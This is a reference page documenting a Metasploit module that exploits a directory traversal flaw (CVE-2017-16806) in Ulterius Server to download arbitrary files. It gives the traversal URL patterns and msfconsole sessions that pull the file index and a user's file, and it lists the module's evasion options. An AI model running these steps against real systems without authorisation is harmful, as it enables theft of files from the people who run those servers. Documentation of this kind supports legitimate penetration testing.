Ulterius Server File Download Vulnerability - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/ulterius_file_download metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Ulterius Server File Download Vulnerability
Module: auxiliary/admin/http/ulterius_file_download
Source code: modules/auxiliary/admin/http/ulterius_file_download.rb
Disclosure date: -
Last modification time: 2021-01-29 17:59:14 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 22006
List of CVEs: CVE-2017-16806

This module exploits a directory traversal vulnerability in Ulterius Server < v1.9.5.0 to download files from the affected host. A valid file path is needed to download a file. Fortunately, Ulterius indexes every file on the system, which can be stored in the following location: http://ulteriusURL:port/.../fileIndex.db. This module can download and parse the fileIndex.db file. There is also an option to download a file using a provided path.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/admin/http/ulterius_file_download
msf auxiliary(ulterius_file_download) > show targets
    ... a list of targets ...
msf auxiliary(ulterius_file_download) > set TARGET target-id
msf auxiliary(ulterius_file_download) > show options
    ... show and set options ...
msf auxiliary(ulterius_file_download) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Description

This module exploits a directory traversal vulnerability in Ulterius Server < v1.9.5.0. The directory traversal flaw occurs in Ulterius Server's HttpServer.Process function call. While processing file requests, the HttpServer.Process function does not validate that the requested file is within the web server's root directory or a subdirectory.

Vulnerable Application

When requesting a file, a relative or absolute file path is needed so the appropriate request can be generated. Fortunately, Ulterius Server creates a file called fileIndex.db, which contains filenames and directories located on the server. By requesting fileIndex.db and parsing the retrieved data, absolute file paths can be retrieved for files hosted on the server. Using the information retrieved from parsing fileIndex.db, additional requests can be generated to download desired files.

As noted in the EDB PoC, the fileIndex.db is usually located at:

http://ulteriusURL:22006/.../fileIndex.db

Note: 22006 was the default port after setting up the Ulterius Server.

After retrieving absolute paths for files, the files can be retrieved by sending requests of the form:

http://ulteriusURL:22006/<DriveLetter>:/<path>/<to>/<file>

Note: The EDB PoC used relative paths to download files but absolute paths can be used on Windows-platforms as well, because the HttpServer.Process function made use of the Path.Combine function.

If path2 includes a root, path2 is returned.

Options

PATH

This option specifies the absolute or relative path of the file to download. (default: /…/fileIndex.db)

Note: If you are using relative paths, use three periods when traversing down a level in the directory structure. If absolute paths are used, make sure to include the drive letter.

Verification Steps

  • [ ] Install Ulterius Server < v1.9.5.0
  • [ ] ./msfconsole
  • [ ] use auxiliary/admin/http/ulterius_file_download
  • [ ] set rhost <rhost>
  • [ ] run
  • [ ] Verify loot contains file system paths from remote file system.
  • [ ] set path '<DriveLetter>:/<path>/<to>/<file>'
  • [ ] run
  • [ ] Verify contents of file

Scenarios

Ulterius Server v1.8.0.0 on Windows 7 SP1 x64.

msf5 > use auxiliary/admin/http/ulterius_file_download
msf5 auxiliary(admin/http/ulterius_file_download) > set rhost 172.22.222.122
rhost => 172.22.222.122
msf5 auxiliary(admin/http/ulterius_file_download) > run

[*] Starting to parse fileIndex.db...
[*] Remote file paths saved in: filepath0
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/ulterius_file_download) > set path 'C:/users/pwnduser/desktop/tmp.txt'
path => C:/users/pwnduser/desktop/tmp.txt
msf5 auxiliary(admin/http/ulterius_file_download) > run

[*] C:/users/pwnduser/desktop/tmp.txt
[*] File contents saved: filepath1
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/ulterius_file_download) >

Go back to menu.

Msfconsole Usage

Here is how the admin/http/ulterius_file_download auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/ulterius_file_download

msf6 auxiliary(admin/http/ulterius_file_download) > show info

       Name: Ulterius Server File Download Vulnerability
     Module: auxiliary/admin/http/ulterius_file_download
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Rick Osgood
  Jacob Robles

Check supported:
  No

Basic options:
  Name     Current Setting    Required  Description
  ----     ---------------    --------  -----------
  PATH     /.../fileIndex.db  yes       Path to the file to download
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    22006              yes       The target port (TCP)
  SSL      false              no        Negotiate SSL/TLS for outgoing connections
  VHOST                       no        HTTP server virtual host

Description:
  This module exploits a directory traversal vulnerability in Ulterius 
  Server < v1.9.5.0 to download files from the affected host. A valid 
  file path is needed to download a file. Fortunately, Ulterius 
  indexes every file on the system, which can be stored in the 
  following location: http://ulteriusURL:port/.../fileIndex.db. This 
  module can download and parse the fileIndex.db file. There is also 
  an option to download a file using a provided path.

References:
  https://www.exploit-db.com/exploits/43141
  https://nvd.nist.gov/vuln/detail/CVE-2017-16806

Module Options

This is a complete list of options available in the admin/http/ulterius_file_download auxiliary module:

msf6 auxiliary(admin/http/ulterius_file_download) > show options

Module options (auxiliary/admin/http/ulterius_file_download):

   Name     Current Setting    Required  Description
   ----     ---------------    --------  -----------
   PATH     /.../fileIndex.db  yes       Path to the file to download
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    22006              yes       The target port (TCP)
   SSL      false              no        Negotiate SSL/TLS for outgoing connections
   VHOST                       no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the admin/http/ulterius_file_download auxiliary module:

msf6 auxiliary(admin/http/ulterius_file_download) > show advanced

Module advanced options (auxiliary/admin/http/ulterius_file_download):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/http/ulterius_file_download module can do:

msf6 auxiliary(admin/http/ulterius_file_download) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the admin/http/ulterius_file_download auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/ulterius_file_download) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed: <E.CLASS> - <E.MESSAGE>

Here is a relevant code snippet related to the "Failed: <E.CLASS> - <E.MESSAGE>" error message:

85:	        'uri' => normalize_uri(path),
86:	        'method' => 'GET'
87:	      })
88:	    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
89:	           Rex::HostUnreachable, Errno::ECONNRESET => e
90:	      vprint_error("Failed: #{e.class} - #{e.message}")
91:	      return
92:	    end
93:	
94:	    if res && res.code == 200
95:	      if path =~ /fileIndex\.db/i

Go back to menu.

References

See Also

Check also the following modules related to this module:

Authors

  • Rick Osgood
  • Jacob Robles

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.